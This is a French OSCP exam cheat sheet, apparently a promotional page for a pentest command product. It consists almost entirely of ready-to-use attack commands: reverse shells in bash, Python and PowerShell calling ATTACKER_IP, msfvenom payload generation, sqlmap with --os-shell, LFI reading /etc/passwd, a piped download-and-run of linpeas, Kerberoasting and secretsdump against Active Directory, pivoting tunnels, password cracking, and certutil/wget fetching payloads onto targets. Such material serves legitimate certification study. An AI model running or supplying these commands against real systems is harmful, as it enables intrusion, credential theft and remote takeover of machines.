# Énumération
L'énumération, c'est tout dans l'OSCP. Passez 80% de votre temps ici. Scannez tous les ports, énumérez tous les services.
Nmap — Stratégie de scan complet
nmap -p- --min-rate=1000 -T4 TARGET_IP -oN ports.txt
nmap -p OPEN_PORTS -sC -sV -oA detailed TARGET_IP
nmap -sU --top-ports 200 --min-rate=1000 TARGET_IP
Énumération Web
feroxbuster -u http://TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,txt,bak -t 50
whatweb http://TARGET && curl -s http://TARGET -I
nikto -h http://TARGET -C all
Énumération SMB
smbclient -N -L //TARGET
enum4linux-ng -A TARGET
crackmapexec smb TARGET -u '' -p '' --shares
SNMP, LDAP, DNS
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1
ldapsearch -H ldap://TARGET -x -b "DC=domain,DC=local" -s sub "(objectClass=user)" sAMAccountName
dig axfr @TARGET DOMAIN.LOCAL
# Exploitation Web
Injection SQL, contournement d'upload, injection de commandes — les fondamentaux des boxes web OSCP.
Injection SQL
sqlmap -u "http://TARGET/page?id=1" --batch --dbs
sqlmap -r request.txt --batch --level 5 --risk 3 --os-shell
Contournement d'upload de fichiers
cp /usr/share/webshells/php/php-reverse-shell.php shell.php.jpg
Injection de commandes
; whoami
Inclusion de fichiers (LFI/RFI)
curl "http://TARGET/page?file=../../../etc/passwd"
curl "http://TARGET/page?file=php://filter/convert.base64-encode/resource=config.php"
# Shells & Payloads
Reverse shells, bind shells et génération de payloads — apprenez-les par cœur pour l'examen.
Reverse Shells
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII.GetBytes($r)),0,$r.Length)}"
Upgrade du shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm && stty raw -echo; fg
Payloads Msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf -o shell.elf
# Escalade de privilèges Linux
L'OSCP adore le privesc Linux. Vérifiez SUID, capabilities, cron jobs, chemins inscriptibles, version du kernel.
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
find / -perm -4000 -type f 2>/dev/null
sudo -l
getcap -r / 2>/dev/null
cat /etc/crontab && ls -la /etc/cron*
find / -writable -type f 2>/dev/null | grep -v proc
uname -a && cat /etc/os-release
# Escalade de privilèges Windows
Services, tokens, AlwaysInstallElevated, chemins de services non quotés, potatoes — les classiques OSCP.
.\winPEASx64.exe
powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"
whoami /priv
.\GodPotato.exe -cmd "cmd /c whoami"
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows"
# Active Directory
L'AD est une partie majeure de l'OSCP depuis la mise à jour 2023. Kerberoasting, AS-REP roasting, DCSync et mouvement latéral.
bloodhound-python -d domain.local -u USER -p PASS -c All -ns DC_IP
impacket-GetUserSPNs domain.local/USER:PASS -dc-ip DC_IP -request
impacket-GetNPUsers domain.local/ -no-pass -usersfile users.txt -dc-ip DC_IP
impacket-psexec domain.local/ADMIN:PASS@TARGET_IP
impacket-secretsdump domain.local/ADMIN:PASS@DC_IP
evil-winrm -i TARGET_IP -u USER -p PASS
crackmapexec smb SUBNET/24 -u USER -p PASS --shares
# Pivoting & Tunneling
Atteindre les réseaux internes via les machines compromises. Chisel, tunnels SSH, ligolo — indispensable pour l'OSCP.
Chisel (Recommandé)
./chisel server -p 8080 --reverse
./chisel client ATTACKER_IP:8080 R:socks
proxychains4 nmap -sT -Pn -p 445,3389,5985 INTERNAL_IP
Tunnels SSH
ssh -L 8080:INTERNAL_IP:80 user@PIVOT_IP
ssh -D 1080 user@PIVOT_IP
# Attaques de mots de passe
Cracker des hash, brute-forcer des logins — hashcat et John sont vos meilleurs alliés.
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --force
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --force
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
hydra -l admin -P /usr/share/wordlists/rockyou.txt TARGET http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
# Transferts de fichiers
Transférer des outils sur la cible et exfiltrer des données. Plusieurs méthodes pour différentes situations.
Cibles Linux
python3 -m http.server 8000
wget http://ATTACKER_IP:8000/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh
Cibles Windows
certutil -urlcache -split -f http://ATTACKER_IP:8000/shell.exe C:\Windows\Temp\shell.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP:8000/shell.exe','C:\Windows\Temp\shell.exe')"
# Conseils pour l'examen OSCP
Stratégie et état d'esprit pour les 23h45 d'examen. Ces conseils viennent de centaines d'expériences OSCP.
Vous voulez les 11 600+ commandes ?
Cette cheatsheet n'est que la surface. Pentest Mindmap organise 11 600+ commandes dans 32 catégories avec recherche instantanée et copie en un clic.
Essai gratuit de 7 jours →